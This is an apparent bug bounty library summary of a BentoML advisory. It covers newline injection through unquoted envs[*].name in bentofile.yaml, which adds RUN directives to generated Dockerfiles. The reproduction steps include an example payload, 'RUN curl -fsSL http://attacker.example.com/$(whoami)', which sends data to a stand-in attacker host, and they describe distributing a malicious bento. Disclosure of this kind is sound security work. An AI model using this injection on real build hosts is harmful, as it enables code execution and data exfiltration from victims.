# Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)

Unquoted envs[*].name in bentofile.yaml injects newline-separated RUN directives into BentoML-generated Dockerfiles, executing on the build host during bentoml containerize.

- Payout: Research
- Severity: high
- Program: BentoML
- Found by: SSJCorpSec
- Disclosed: 2026-05-11
- CVE: CVE-2026-44346
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w2pm-x38x-jp44
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w2pm-x38x-jp44
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:docker tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** BentoML Dockerfile generation template (base_v2.j2) via bentofile.yaml envs
**Root cause:** base_v2.j2 interpolates env.name raw into ARG/ENV lines while only env.value is passed through bash_quote, so newlines in the name break out into new Dockerfile RUN directives.
**Steps:**
1. pip install bentoml==1.4.38
2. Author bentofile.yaml with a newline-injected envs[*].name value containing `RUN curl -fsSL http://attacker.example.com/$(whoami)`
3. Export the bento (.bento/.tar.gz) and distribute it
4. Victim runs `bentoml import bento.tar` then `bentoml containerize`
5. Rendered Dockerfile contains injected `RUN curl -fsSL http://attacker.example.com/$(whoami)` lines executed by docker build
**How found:** Recognized that prior fixes CVE-2026-33744 and CVE-2026-35043 only quoted system_packages, then audited sibling bentofile fields flowing into the same Dockerfile template and found env.name unquoted.
**Exploitation:** Attacker ships a malicious bento; when the victim containerizes it, docker build executes the injected RUN lines on the build host, exfiltrating data such as $(whoami) to an attacker server.
**Insight:** When a patch quotes one user-controlled field in a template, enumerate every other field rendered into the same interpretation context (ARG/ENV/RUN) — sibling fields are commonly left unquoted.